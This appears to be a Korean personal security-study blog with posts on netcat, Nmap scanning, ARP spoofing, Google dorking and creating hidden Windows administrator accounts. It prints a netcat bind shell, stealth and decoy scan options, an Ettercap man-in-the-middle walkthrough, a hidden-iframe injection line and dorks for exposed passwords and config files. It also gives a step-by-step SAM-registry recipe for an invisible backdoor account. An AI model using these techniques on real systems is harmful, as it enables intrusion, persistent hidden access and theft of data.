GooOOoodbyestar

공부 ?

13

NC (NetCat) 초간단 사용법

A. $ nc -lvp 3000B. $ nc Connection 후 , Message 입력 . A. $ nc -lvp 3000 Message 확인 A. $ nc -lvp 3000 -e /bin/bash listening on [any] 3000 ...B. $ NC Connection .. A. $ nc -lp 3000 > test.pngB. $ nc -w < test.png NC OPTIONS -4 Use only IPv4 -6 Use only IPv6 -b, --bluetooth Use Bluetooth (defaults to L2CAP protocol) --buffer-size=BYTES Set buffer size --continuous Continuously accept connections (o..

공부 ? 2015.07.22 내꿈은보신탕

(스캐너) Nmap

Nmap 다운로드 : http://www.nmap.org/ Nmap은 기본적으로 상대 시스템의 열러있는 PORT 를 스캐닝 할 때 사용된다. 일반적으로 웹 해킹 전 공격 Open Port를 찾기 위한 목적으로 쓰였지만, 근래에 들어서 웬만한 중요 시스템은 Open Port는 필요한 Service 만 Open 하므로 점검 도구로 많이 쓰이고 있다. 실제 스캐너 프로그램은 상당히 많은 편이며, 설명 보다는 직접 한번 실습해 보는 것이 좋다. 다운로드 받아서 알아서 해보시길 .................................. 네트워크 주소가 192.168.0.0 이고 서브넷 마스크가 255.255.255.0 이라면 # nmap -sP 192.168.0.0/24 라고 실행한다 만일 -v 옵션을 사용하..

공부 ? 2010.11.15 내꿈은보신탕

시스템 계정을 이용한 히든 계정의 생성 방법

(이 작업은 victim의 GUI환경까지 장악했을 경우를 가정하였다) ※Windows 의 최고 권한은 Administrator이 아닌 SYSTEM 이다. 시스템 계정은 시스템의 모든 권한을 갖고 있는 administrator(관리자)계정보다 상위 단계이다. 일반적인 방법으로는 정상적인 사용자가 권한을 획득할 수 없다. 시스템 계정을 획득하면 레지스트리 DB의 다음의 위치에 SAM파일의 값들을 직접 확인할 수 있다. 시스템 계정 획득 방법 mt.exe (중국 툴) 이용한 권한 상승 : mt su - pstools (PsExec) 툴도 가능 : psexec -s -i -d cmd.exe 위의 명령어를 사용하면 cmd.exe이 새로 생성되며 그 창에서 실행하는 모든 명령어는 시스템 계정의 권한을 얻는다. 아래..

공부 ? 2010.10.07 내꿈은보신탕

ARP Spoofing

Sniffing 이랑 Spoofing 의 차이는 간단하게 Copy & Paste 하겠다. (귀찮으므로....) 스니핑(Sniffing) : Sniffing이란 단어의 사전적 의미는 ‘코를 킁킁거리다’, ‘냄새를 맡다’ 등의 뜻이 있다. 사전적인 의미와 같이 해킹 기법으로서 스니핑은 네트워크 상에서 자신이 아닌 다른 상대방들의 패킷 교환을 엿듣는 것을 의미한다. 간단히 말하여 네트워크 트래픽을 도청(eavesdropping)하는 과정을 스니핑이라고 할 수 있다 스푸핑(Spoofing) : Spoof란 단어의 사전적 의미는 'hoax; trick; swindle 골탕 먹이다.; 속여먹다.; 야바위(치다), 우롱, 사취'이다. 즉 해커가 악용하고자 하는 호스트의 IP 어드레스를 바꾸어서 이를 통해 해킹을 하는..

공부 ? 2010.10.05 1 내꿈은보신탕

구글해킹

검색 서비스는 우리들이 접할 수 있는 각종 포털 탈사이트(다음, 야후, 네이버, 엠파스등)에서도 제공해 준다. 하지만 대부분의 이러한 사이트들의 검색엔진은 포탈 사이트 내의 일부분으로 존재한다. 또 다른 검색엔진으로는 Google을 들 수가 있는데, Google은 전세계적으로 사용되고 있는 검색엔진이며, 검색 할 수 있는 범위와 검색의 결과가 매우 정확하다. 여기서 언급하고 있는 Google에 대해서 더 자세히 알아보자. Google은 30억 페이지를 수집하고 있고 하루 2억번 이상의 검색결과를 제공하고 있는 세계 최대의 검색엔진 서비스이다. 또한, 메타태그나 키워드에만 의지하지 않고, 페이지 랭크(Page Rank)라고 하는 기법을 사용하여 웹페이지의 공정한 순위를 매김하고 있다. 특히 가장 중요한 부..

공부 ? 2010.10.03 3 내꿈은보신탕

(백도어 은닉 방법)

※ 주의 : 학습용이니 악용하지 말 것 ! 책임은 본인 스스로 ....... 보통 Windows에 설치되는 백도어, 루트킷, 트로이목마 백도어들은 대부분 정상적인 파일 이름을 갖고 있으나 위치도 User 가 모르는 곳에 (80% 이상이 Windows 폴더 안에 있음) 위치하게 된다. 요즘 백신이 워낙?은 모르겠고 대충 잡아서 어지간하면 탐지가 되기 마련이다. 하지만 05년도에 중국에서 유행했던 백도어 은닉 방법을 간단히 소개 하고자 한다. □ 공격 유형 : 디렉토리 및 파일 은폐 □ 대상 OS : Windows 2000 / XP / 2003 /7 □ 방법 1) C드라이브에 폴더를 만듬 (폴더명 : s) 2) s폴더 밑에 s1폴더를 만듬 3) mkdir s.\ 이 명령을 실행하면 이미 존재한다고 나옴 4)..

공부 ? 2010.09.24 내꿈은보신탕

[참고] 웹 페이지 오류(에러) 코드

기본적으로 IIS는 %WINDIR\System32\Logfiles에 해당 로그 파일을 저장합니다. 이 디렉터리에는 각 WWW(World Wide Web) 및 FTP 사이트에 대한 별도의 디렉터리가 포함됩니다. 기본적으로 로그는 디렉터리에서 매일 만들어지고 날짜를 포함하는 이름(예: exYYMMDD.log)으로 지정됩니다. HTTP 1xx - 정보 전달용 이 상태 코드는 임시 응답을 나타냅니다. 클라이언트가 정식 응답을 받으려면 하나 이상의 1xx 응답을 받을 준비가 되어 있어야 합니다. • 100 - 계속 작업합니다. • 101 - 프로토콜을 전환합니다. 2xx - 완료 상태 코드의 이 클래스는 서버가 클라이언트 요청을 받아들였음을 나타냅니다. • 200 - 클라이언트 요청이 성공했습니다. • 201 -..

공부 ? 2010.09.24 내꿈은보신탕

XSS (기초)

공부 ? 2009.07.13 내꿈은보신탕

XSS (기초)

A Table of Contents Cross Site Scripting(XSS) concept XSS Test 시나리오 #1 시나리오 #2 XSS 대응방안 Reference Cross Site Scripting(XSS) concept Cross Site Scripting은 사용자에게 공격 목적의 악의적인 웹 컨텐츠를 보내는 공격 방법이다. 공격자가 사용자에게 보내는 악의적인 웹 컨텐츠는 URL에 포함된 스크립트 코드이거나 보안에 취약한 웹 사이트의 폼 필드에 입력된 스크립트 코드가 될 수 있다. 일반적으로 HTML 코드에 의해 미리 정의된 위치에 평범한 텍스트 형태로 브라우저 상에 표현되지만 HTML은 그런 평범한 텍스트뿐만 아니라 다른 다양한 컨텐츠를 표현하고 Client Side Script Cod..

공부 ? 2009.07.13 13 내꿈은보신탕

7.7 DDOS 분석보고서

간추린 내용 2009년 7월 7일 발생한 DDOS 공격이 청와대, 네이버, 각 은행, 국내 주요 사이트 운영에 장애를 유발 악성코드는 기존 C&C 서버로부터 공격 목표를 전달받는 것이 아니라 감염시 생성되는 공격목표(하드코딩 됨) 설정 파일을 기반으로 공격 perfvwr.dll 이 Service 로 등록되어 uregvs.nls(하드코딩된 파일) 로 GET Flooding 공격을 수행 perfvwr.dll → " Performance Analyzer" 라는 이름으로 Service 에 등록이 되어 있음 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services → perfvwr 항목있는지 검사 uregvs.nls → 공격대상 , Domain , 공격 방법 등이 명시된 내용..

공부 ? 2009.07.12 내꿈은보신탕

SQL injection (기초)

공부 ? 2009.06.24 내꿈은보신탕

SQL injection (기초)

A Table of Contents Database SQL injection 이론 SQL injection 시나리오 # 1 SQL injection 대응방안 우선 Database 의 기본 개념과 Query 문의 기본을 알아야 SQL injection 을 어느정도 익힐 수 있다. DB 를 하나 만들어 보겠습니다. create table test ( userid varchar(20), userpw varchar(20) )table 안에 값을 한번 넣어 보겠습니다. insert into test values ('zestace', '1234'); 자 그럼 Query 문을 한번 보겠습니다. 정상적인 Query select userid, userpw from test where userid='zestace' an..

공부 ? 2009.06.24 3 내꿈은보신탕

NC (NetCat) 초간단 사용법

공부 ? 2015.07.22 댓글 내꿈은보신탕

<Message 전송>

A. $ nc -lvp 3000

B. $ nc  <IP_Address> <Port> 

Connection 후 , Message 입력 . 

A. $ nc -lvp 3000 

Message 확인 


<Shell 획득>

A. $ nc -lvp 3000 -e /bin/bash 

listening on [any] 3000 ...

B. $ NC <IP_Address> <Port>

Connection .. 


<파일전송>

A. $ nc -lp 3000 > test.png

B. $ nc -w <IP_Address> <Port> < test.png






댓글

(스캐너) Nmap

공부 ? 2010.11.15 댓글 내꿈은보신탕


Nmap 다운로드 : http://www.nmap.org/

Nmap은 기본적으로 상대 시스템의 열러있는 PORT 를 스캐닝 할 때 사용된다. 일반적으로 웹 해킹 전 공격 Open Port를 찾기 위한 목적으로 쓰였지만, 근래에 들어서 웬만한 중요 시스템은 Open Port는 필요한 Service 만 Open 하므로 점검 도구로 많이 쓰이고 있다.

실제 스캐너 프로그램은 상당히 많은 편이며, 설명 보다는 직접 한번 실습해 보는 것이 좋다.
다운로드 받아서 알아서 해보시길 ..................................

네트워크 주소가 192.168.0.0 이고 서브넷 마스크가 255.255.255.0 이라면

# nmap -sP 192.168.0.0/24
라고 실행한다 만일 -v 옵션을 사용하면, 시스템 목록도 볼수있다.만일 원격 호스트에 ping을 보내려는데 중간에 라우터나 방화벽이 icmp패킷을 허용 안하면, -sT 옵션도 좋다

# nmap -sS -O -P0 192.168.0.1
tcp half-open 스캔을 수행하고 운영체제 정보를 알아내고 싶다면 이런 명령어도 좋다

선별적인 스캔

nmap으로 ftp와 DNS를 운영중인 서버를 포트 스캔한다면

# nmap -sX -p 21,53 -oN port.txt 192.168.0.56/24

-p : 포트를 지정
-oN : 출력 결과를 저장
-sX : Xmas 스캔 으로 TCP의 여러 플래그 bit(FIN, PSH, URG)를 설정하고 보내는 방법 비트를 설정하면 패킷에 플래그의 장소가 크리스마스 전구 모양같다고해서 x-mas

스텔스(stealth) 기능 추가

-sF : TCP의 FIN 비트가 설정
-sX : 'Xmas 트리'로 TCP의 FIN, URG, PUSH플리그 설정
-sN : 'Null' 스캔으로 TCP 플래그를 모든 끈 상태로 패킷을 보낸다
-D : 스캔의 출발지 주소를 내가 원하는 주소로 바꿀수 있다
sF, sX, sS, sN은 nmap을 사용할때 옵션을 모두 사용할수 없고 이중 1개만 사용가능하다

텍스트 파일에 저장, 텍스트 파일에서 읽기

-oN [filename] : 파일에 저장
-oM [filename] : 바이너리 포맷으로 저장
-iL : nmap에서 텍스트 파일을 읽어들임
이 옵션은 유용하게 내가 원하는 주소를 파일에 미리 넣어 파일만  읽어 들이면 보낼수 있게 만들수도 있다.

방화벽과 침입 탐지 시스템 테스트

-f : 스캔하는 패킷을 작은 ip조각으로 나눈다
-S Address : 스캔 공격이 시작된 출발지 주소를 지정할수있다. 
이 옵션을 사용할때는 -e -P0를 같이 사용한다 -e 는 인테페이서 설정이다

-D 옵션도 스캔 공격 출발지를 속일 수있다는 면에서 유사
-g port : nmap은 스캔 공격을 하기위해 임시포트(1024)를 사용한다. 이를 알고 많은 방화벽에서 미리 막아두지만, 출발포트를 정할 수 있는 옵션이다

C:\Users\ghlee>cmd
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\ghlee>nmap -sP 10.100.0.0/24
Starting Nmap 5.35DC1 ( http://nmap.org ) at 2010-11-15 15:21 대한민국 표준시
Nmap scan report for 10.100.0.0
Host is up (0.017s latency).
Nmap scan report for 10.100.0.1
Host is up (0.0020s latency).
Nmap scan report for 10.100.0.2
Host is up (0.019s latency).
Nmap scan report for 10.100.0.103
Host is up (0.0030s latency).
Nmap scan report for 10.100.0.106
Host is up (0.016s latency).
Nmap scan report for 10.100.0.189
Host is up (0.0040s latency).
Nmap scan report for 10.100.0.200
Host is up (0.0060s latency).
Nmap scan report for 10.100.0.255
Host is up (0.0040s latency).
Nmap done: 256 IP addresses (8 hosts up) scanned in 10.53 seconds
C:\Users\ghlee>nmap -sS -O -P0 10.100.0.106
Starting Nmap 5.35DC1 ( http://nmap.org ) at 2010-11-15 15:21 대한민국 표준시
Nmap scan report for 10.100.0.106
Host is up (0.049s latency).
Not shown: 976 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
912/tcp  open  unknown
1026/tcp open  LSA-or-nterm
1027/tcp open  IIS
1044/tcp open  unknown
1045/tcp open  unknown
1311/tcp open  rxmon
2010/tcp open  search
2638/tcp open  sybase
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
3389/tcp open  ms-term-serv
8080/tcp open  http-proxy
8443/tcp open  https-alt
Device type: general purpose
Running: Microsoft Windows 2003|XP
OS details: Microsoft Windows Server 2003 SP1 or SP2, Microsoft Windows XP SP2 or Server 2003 SP1 or SP2
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at http://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 11.72 seconds
C:\Users\ghlee>nmap -sX -p 8080,3389 10.100.0.106
Starting Nmap 5.35DC1 ( http://nmap.org ) at 2010-11-15 15:22 대한민국 표준시
Nmap scan report for 10.100.0.106
Host is up (0.0053s latency).
PORT     STATE  SERVICE
3389/tcp closed ms-term-serv
8080/tcp closed http-proxy

Nmap done: 1 IP address (1 host up) scanned in 6.96 seconds
C:\Users\ghlee>nmap -sF 10.100.0.0/24
Starting Nmap 5.35DC1 ( http://nmap.org ) at 2010-11-15 15:23 대한민국 표준시
Nmap scan report for 10.100.0.0
Host is up (0.042s latency).
Not shown: 999 open|filtered ports
PORT   STATE  SERVICE
80/tcp closed http

Nmap scan report for 10.100.0.1
Host is up (0.038s latency).
All 1000 scanned ports on 10.100.0.1 are closed

Nmap scan report for 10.100.0.2
Host is up (0.017s latency).
All 1000 scanned ports on 10.100.0.2 are closed

Nmap scan report for 10.100.0.103
Host is up (0.051s latency).
All 1000 scanned ports on 10.100.0.103 are open|filtered

Nmap scan report for 10.100.0.106
Host is up (0.025s latency).
All 1000 scanned ports on 10.100.0.106 are closed

Nmap scan report for 10.100.0.189
Host is up (0.036s latency).
Not shown: 996 closed ports
PORT     STATE         SERVICE
80/tcp   open|filtered http
443/tcp  open|filtered https
902/tcp  open|filtered iss-realsecure
5989/tcp open|filtered unknown

Nmap scan report for 10.100.0.200
Host is up (0.036s latency).
Not shown: 989 closed ports
PORT     STATE         SERVICE
23/tcp   open|filtered telnet
37/tcp   open|filtered time
179/tcp  open|filtered bgp
513/tcp  open|filtered login
514/tcp  open|filtered shell
714/tcp  open|filtered unknown
2601/tcp open|filtered zebra
2602/tcp open|filtered ripd
2604/tcp open|filtered ospfd
2605/tcp open|filtered bgpd
8443/tcp open|filtered https-alt

Nmap scan report for 10.100.0.255
Host is up (0.046s latency).
Not shown: 999 open|filtered ports
PORT   STATE  SERVICE
80/tcp closed http

Nmap done: 256 IP addresses (8 hosts up) scanned in 72.33 seconds



댓글

시스템 계정을 이용한 히든 계정의 생성 방법

공부 ? 2010.10.07 댓글 내꿈은보신탕

(이 작업은 victim GUI환경까지 장악했을 경우를 가정하였다)
※Windows 의 최고 권한은 Administrator이 아닌 SYSTEM 이다.

시스템 계정은 시스템의 모든 권한을 갖고 있는 administrator(관리자)계정보다 상위 단계이다. 일반적인 방법으로는 정상적인 사용자가 권한을 획득할 수 없다. 시스템 계정을 획득하면 레지스트리 DB의 다음의 위치에 SAM파일의 값들을 직접 확인할 수 있다.

시스템 계정 획득 방법
mt.exe (중국 툴) 이용한 권한 상승 : mt su -
pstools (PsExec) 툴도 가능 : psexec -s -i  -d cmd.exe
 
위의 명령어를 사용하면 cmd.exe이 새로 생성되며 그 창에서 실행하는 모든 명령어는 시스템 계정의 권한을 얻는다.


아래와 같이 실행하면 mt -su와 똑같은 효과를 얻는다


위에서 획득한 시스템 계정으로 히든 계정을 생성해 보자
 
시스템 계정으로 레지스트리 DB의 SAM에 접근(HKLM\SAM\SAM\Domains\Account)에 접근을 하게 되면 Users\Names 키 값을 확인할 수 있는데 이 곳은 계정 정보가 저장되어 있는 SAM파일들의 내부를 들여다 본 것이다. 이를 조작하면, 히든 계정을 얻는 것이 가능해진다. 이 레지스트리들을 조작해보자.
 
1. 우선, $로 간헐적인 히든 계정을 만들자.
시스템계정의 히든 계정과 같은 이름으로 생성될 것이므로 신경써서 만들자. 다음과 같은 명령어로 일반적인 히든 계정을 생성 할 수 있다. 
net user goodbyestar$ ghlee /add
net localgroup administrators goodbyestar /add
 
2. mt -su로 시스템 계정을 획득하고 해당 SAM DB 레지스트리로 접근하자.
(pstools 도 가능 : psexec -s -i -d regedit.exe)
경로 : HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names

goodbyestar$ 필드를 확인하면 0x3fc의 값을 갖고 있는 것을 볼 수 있다. 이 값과 ...\Users 키들 중 일치 하는 키를 찾자. [종류 : 0x3fc → User 와 매핑]

000003FC의 값을 확인해 보면 F와 V가 존재한다. 이 값들을 저장해 두어서 나중에 써 먹어야 하므로 레지스트리의 내보내기 기능을 이용하여 따로 저장해 두자. 그리고 역시 Administrator(여기서는 goodbyestar)의 Users필드도 내보내기로 따로 저장한다. 마지막으로 goodbyestar$계정의 Names필드도 내보내자. 총 3개의 .reg파일을 생성하자.

이제 더이상 goodbyestar$계정은 가치가 없다. 과감하게 삭제를 한다.
 net user goodbyestar$ /delete

 위에서 생성된 3개의 레지스트리 파일을 가지고 몇 가지 편집 작업을 해야 한다. 간략하게 설명하자면 goodbyestar_users.reg(최고관리자의 users필드)를 편집기로 열어 F값을 복사하자.


블럭된 부분을 Ctrl+C로 복사.
이제 goodbyestar$_users.reg(아까 생성한 히든 계정)을 다시 편집기로 열어 Ctrl+C로 복사한 F값들을 덮어 씌우자



이제 모든 준비는 끝났고 생성된 goodbyestar$_user.reg와 goodbyestar$.reg를 등록해야 하는데, 이 것을 등록하기 위해서는 시스템계정의 권한이 필요하므로 mu -su로 생성된 cmd창에서 다음의 명령으로 레지스트리를 등록한다.
regedit /s goodbyestar$_user.reg
regedit /s goodbyestar$.reg



이렇게 생성된 goodbyestar$계정은 어떠한 곳에서도 확인 할 수 없으며, 확인 할 수 있는 방법은 시스템 계정 권한을 얻어 레지스트리를 직접 들여다 보는 수 밖에 없다. goodbyestar계정과 암호, 프로필정보를 모두 공유하며 정상적인 사용자처럼 사용하는 것이 가능하다.

 - 추가사항 - 
계정에 $가 붙으면 net user명령어에는 보이지 않으나 lusrmgr.msc에는 보임
시스템권한으로 계정을 생성하면 net user에는 보이나 lusrmgr.msc에는 안보임
이 둘을 조합하여 두 곳 모두에서 보이지 않는 완벽한 히든계정을 생성하는 것이 가능해진다.

결론 : reg 조합이다.

댓글

ARP Spoofing

공부 ? 2010.10.05 댓글 내꿈은보신탕

 

Sniffing 이랑 Spoofing 의 차이는 간단하게 Copy & Paste 하겠다. (귀찮으므로....)

스니핑(Sniffing) : Sniffing이란 단어의 사전적 의미는 ‘코를 킁킁거리다’, ‘냄새를 맡다’ 등의 뜻이 있다. 사전적인 의미와 같이 해킹 기법으로서 스니핑은 네트워크 상에서 자신이 아닌 다른 상대방들의 패킷 교환을 엿듣는 것을 의미한다. 간단히 말하여 네트워크 트래픽을 도청(eavesdropping)하는 과정을 스니핑이라고 할 수 있다

스푸핑(Spoofing) : Spoof란 단어의 사전적 의미는 'hoax; trick; swindle 골탕 먹이다.; 속여먹다.; 야바위(치다), 우롱, 사취'이다. 즉 해커가 악용하고자 하는 호스트의 IP 어드레스를 바꾸어서 이를 통해 해킹을 하는 것을 IP 스푸핑이다.

먼저 Spoofing 종류와 개념을 알아보자.

IP Spoofing : IP 스푸핑은 말그대로 IP를 속이는 것이다. 실례로 케빈 미트닉이 1995년 체포될 당시 IP Spoofing 공격으로 모토로라, 선마이크로시스템즈, NEC, 노벨등의 컴퓨터 전산망에 침투하여 중요자료를 훔쳤다. 
TCP SYN flooding + TCP Squence Number Guessing + IP Spoofing를 이용하여 공격하였다.


E-mail Spoofing : E-mail Spoofing은 메일의 헤더부분의 날짜, 보낸 사람 등을 조작하여 스팸 메일이 아닌 것처럼 보이게 조작하는 것을 말한다.
원인은 SMTP(Simple Mail Transfer Protocol)가 인증 메커니즘이 없어서 공격자가 중간에서 변조하여 보내도 확인을 할 수가 없다. (요즘은 인증이 될라나 ?? ;; 직접 확인해보세요)

DNS Spoofing : DNS 스푸핑이란 공격자가 DNS와 요청을 보낸 하위 DNS서버 사이에서 트래픽을 스니핑하다가 Query ID라는 값을 통해 공격자가 만든 임의의 사이트의 IP를 최종 응답으로 보냄으로써 피해자는 원하지 않는 사이트로 이동하게 된다

etc ...

ARP Spoofing 개념도


두 호스트는 정상적인 통신을 하다가 , 공격자가 Ettercap 이나 Cain 이나 (tool은 자유) 를 통해 Mac 주소를 변경하게 되면 희생자는 gw 를 공격자로 오인하게 된다.
이후 ... game end 공격자는 희생자의 모든 Packet을 전부 보고 변조할 수 있기 때문입니다.

살짝 응용 해볼까요 ?
우선 ARP Spoofing 은 좀 제약이 있다. LAN 상에서만 가능하기 때문이다.
KRCERT 에도 보고되고 예전에 한창 (약 3~4년전) 유행했던 기법이다.


이 경우에는 iframe = 0 값으로 공격한 경우인데 피해 IP 는 약 62만개 정도 되었다고 하네요.

○ 피해 네트워크 환경  : 부산 모 통신 IDC 호스팅 업체
○ 시스템 용도 : 웹 서버
○ 운영체제 : Linux

i frame 코드 삽입 예
<iframe src=http://ghlee.tistory.com/index.html height=0 width=0></iframe>

Ettercap 으로 실제 패킷을 변형해 보는 실습

실제 TEST 환경 (IP는 끝에만 공개)
공격자 :74 (OS : WINDOWS XP)
희생자 A : 51 (OS : Lixux)
희생자 B : 67 (OS : Windows 2000)

1. 필터링할 파일(test2.ecf) 파일을 만든다


2. Test2.ecf 파일을 실행가능한 파일(.ef) 파일로 컴파일한다.
- Etterfilter –o test2.ef test.ecf


3 . Victim A,B의 컴퓨터사이에서 ARP 스푸핑과 동시에 MITM 공격할 준비를 한다.
4. Victim B(windows 2000 AS)가 파일 전송할 준비를 한다.
5. 공격자는 MIMT 공격을 시작한다.
- Victim B (패킷을 전송 보낼 준비를 한다. )


6. Victim A는 파일을 받을 준비를 한다.


7. 두 Victim컴퓨터는 파일을 전송한다.



8. 받은 파일을 확인해보면 패킷이 변형되어 있는 것을 볼 수 있다.

ARP Soofing 에 대한 해결방법

1. 데이터를 송수신을 할 떄에 암호화를 한다. (많이 좋아졌음 , 불과 3~4년전만 해도 plan text)
2. Arp Cache Table 에 Mac address를 Static 으로 고정시킨다. (Network 유연성에 문제가 있음)
3. 시스템 로그를 남긴다. (현실적으로 언제다보고 있니 ?)
4. Tcpdump 나 netlog 와 같은 툴로 packet 모니터링 (요즘은 좋은 장비 많음)


댓글

구글해킹

공부 ? 2010.10.03 댓글 내꿈은보신탕


검색 서비스는 우리들이 접할 수 있는 각종 포털 탈사이트(다음, 야후, 네이버, 엠파스등)에서도 제공해 준다. 하지만 대부분의 이러한 사이트들의 검색엔진은 포탈 사이트 내의 일부분으로 존재한다. 또 다른 검색엔진으로는 Google을 들 수가 있는데, Google은 전세계적으로 사용되고 있는 검색엔진이며, 검색 할 수 있는 범위와 검색의 결과가 매우 정확하다.

여기서 언급하고 있는 Google에 대해서 더 자세히 알아보자
.
Google
30억 페이지를 수집하고 있고 하루 2억번 이상의 검색결과를 제공하고 있는 세계 최대의 검색엔진 서비스이다. 또한, 메타태그나 키워드에만 의지하지 않고, 페이지 랭크(Page Rank)라고 하는 기법을 사용하여 웹페이지의 공정한 순위를 매김하고 있다. 특히 가장 중요한 부분으로서는 2003년 이후 검색엔진이 지능화 되면서 시스템의 주요 정보 및 민감한 데이터의 접근 경로까지 검색 결과를 제공하는데 있다
.

이러한 여러 기능 때문에 해커들은 Google을 이용하여 각종 중요 정보들을 검색하여, 해킹 대상을 검색 하거나, 기타 여러 정보들을 수집을 한다.
이외에 해커들이 해킹 도구를 Google로 사용하는 이유는 한 가지가 더 있다. 그 이유는 검색 시에 사용되어지는 옵션에 대한 기능적인 면을 들 수가 있는데, 이는 기본 검색 옵션 (link, inurl, intext ), 단어 검색 옵션(+, -, "", | )을 복합하여 사용함으로 중요 정보들을 쉽게 검색할 수 있다는 것이다.

ㄱㄱㄱㄱㄱ


옵션

예 제

내 용

intitle

Intitle : "Welcome"

제목 중 "Welcome" 문자가 포함된 페이지 검색

inurl

inurl : "admin"

URL admin이 포함된 페이지 검색

site

site : "coconut.co.kr"

coconut.co.kr 사이트에서 검색

filetype

filetype : "bak"

확장자가 bak으로 된 파일 검색

intext

intext : "coconut"

coconut 문자열이 포함된 페이지 검색


Google에 대하여 살펴 보는데 앞에서 기술한 내용으로 어떠한 정보들이 노출되어 질 수 있을까? 본격적으로 Google 을 이용하여 이루어지는 해킹 기법에 대해서 알아 보도록 하자.

우선 해킹에 사용할 수 있는 유용한 Google 검색 결과 페이지는 아래와 같다.

"잘못된 시스템 및 어플리케이션 설정으로 인한 에러 메시지", "중요 파일내의 세부적인 정보", "패스워드를 포함한 파일", "사용자 정보를 포함한 파일", "특정 권한을 획득하기 위한 참조 파일", "로그인 페이지", "네트워크 정보나 취약 데이터", "중요한 디렉터리 및 파일", "숨겨진 디렉터리", "백업 파일 및 임시 파일 ", "취약 서버 목록", "웹 서버 종류", "사회공학적 해킹 자료"

이런 정보들을 검색하여 해커들은 필요한 정보를 수집하게 되는데, 이 중 "사용자 정보를 포함한 파일"에 대해서 알아보도록 하자. "사용자 정보를 포함하고 있는 파일"은 많은 종류가 있다. 해커는 필요한 정보에 따라 검색하는 파일의 종류가 선택된다. 만일, 사용자들의 개인 정보가 필요하다고 가정하여 보자. 개인정보를 가장 정확하고 자세하게 담고 있는 파일 중에는 이력서가 있다. 그래서 해커들은 "이력서"라는 검색어를 이용하여 필요한 정보를 획득 할 수 있다. 흔히, 이력서는 각종 매개체(홈페이지, 메일등)를 통하여 정보가 전달되는데, 이 정보들이 웹 서버 자체에 남아 있는 경우가 있기 때문에 검색을 통하여 해당 파일이 노출된다.



이제 구글 검색 엔진을 이용하는 해킹이 어떻게 이루어 지는가를 알아 보자
크게 두 가지 정도로 분류해서 설명 하고자 하는데, Part 1은 구글 검색 엔진을 이용하여 여러 정보를 획득 할 수 있는 방법이고, Part 2는 취약점이 존재하는 사이트를 검색하여 실제로 공격을 수행하는 방법이다.

Part 1. 구글을 이용한 정보 획득
서버 기본 페이지 검색으로 인한 정보 획득

웹 서버(예 : Apache, IIS, iPanet 등)를 운영함에 있어서 기본적으로 설치되는 기본 페이지 및 샘플 페이
지들이 존재 하는데, 이러한 페이지들은 설치 되는 경로와 페이지 이름이 동일하여 공격자에게 웹 서버
에 대한 정보를 제공하게 된다. 이는 해당 웹 서버에 대한 취약점을 검색하거나, 웹 서버 설정 정보가 공
개되어 공격자는 이 정보를 바탕으로 하여 2차 공격을 시도한다.

옵션

기본 페이지 목록

Apache

Iindex.html.ca, index.html.el, index.html.ru.cp-1251,index.html.nn, index.

html.ru.ucs4, index.html.it,index.html.cz 등등 ·······

Microsoft -IIS

c:inetpubiissamples 디렉토리 파일c:inetpubiissamplessdk 디렉토

리 파일c:inetpubscripts 디렉토리 파일 등등 ·······



Apache 기본 페이지 < intitle:Test.Page.for.Apache>


IIS 기본 페이지 < inurl:posinfo.html intext:Web 게시정보 >

에러 페이지 검색으로 인한 정보 획득

웹 어플리케이션은, 보통 3-Tier(표현, 응용, 데이터) 구성으로 이루어진다. 3-Tier란 Presentation(표현), Application(응용), Data(저장/데이터)것을 말하며, 예로는 [표현-HTML], [응용-PHP],[데이터-MySQL]을 들수 있다.
하지만 이 3개의 Tier간 통신에서 문제가 발생하게 되면 에러 메시지를 보여주게 되는데, 이러한 에러 메시지를 검색하여 에러 메시지에 포함 되어 있는 중요 정보들을 획득 할 수 있다.


에러 페이지 < unexpected end of SQL command site:co.kr>



에러 페이지 <"Warning: mysql_connect()" site:co.kr>

백업 파일 검색으로 인한 정보 획득

관리자들은 데이터 관리를 위하여 기본적으로 백업 작업을 한다. 그러나 백업 작업을 수행하면서 관리
자의 실수나 관리 기술의 부족 등으로 인하여 백업파일들을 웹 디렉토리 내부에 파일을 생성하여 보관
하는 경우가 존재한다. 이러한 경우, 구글 검색엔진을 이용하여 백업 파일들을 노출할 수 있다. 특히 백
업을 위한 sql 쿼리 결과에는 사용자 테이블 정보 등과 같은 중요 정보가 포함되는 경우도 존재한다.


백업 페이지 < filetype:sql intext:passwd >

mysql 백업 파일을 검색하여 해당 내용을 획득한 것이다. mysql에서는 패스워드를 암호화 하여 저장을 하는데, 암호화된 패스워드 크랙 툴 등을 통하여 패스워드 획득이 가능하다

패스워드 파일 검색으로 인한 정보 획득

웹 서버는 Database와 통신을 하기 위해서 connect.inc와 같은 Database 접속 계정정보를 가지고 있는 파일을 사용한다. 이러한 파일을 흔히 DB config파일이라고 하는데, 이 파일은 웹 개발자가 어떻게 구현 하느냐에 따라 파일명 및 경로가 다르게 설정된다. 그러나, 이러한 DB config 파일 노출에 대한 위험성을 인식하지 못하고 파일명 및 경로를 쉽게 설정하여 공격자로부터 노출될 수 있다.


DB Config 정보 < filetype:inc inurl:connect >

대외비 문서의 검색으로 회사 정보 획득

기업에서는 외부에 알려져서는 안 되는 문서들을 "극비, 대외비"등 보안 등급을 지정하여 관리 한다.
구글 검색엔진을 이용하여 해당 정보를 검색 하게 되면, 회사에 대한 민감한 정보를 담고 있는 대외비
문서를 획득 할 수 있다.


대외비 문서 검색 < allintext:대외비 filetype:pdf >

디렉토리 나열 취약점(Directory Indexing)이 존재 하는 사이트 검색

디렉토리 나열 취약점은 웹 어플리케이션 취약점중의 하나로 웹 디렉토리에 있는 파일들이 보여지는 취약점이다. 이는 URL 웹 디렉토리 경로까지만 입력 하였을 경우 특정 페이지(index.html, default.html,main.html)의 내용이 보여지는 것이 아니라, 디렉토리에 있는 파일목록이 나열되는 것을 말한다.
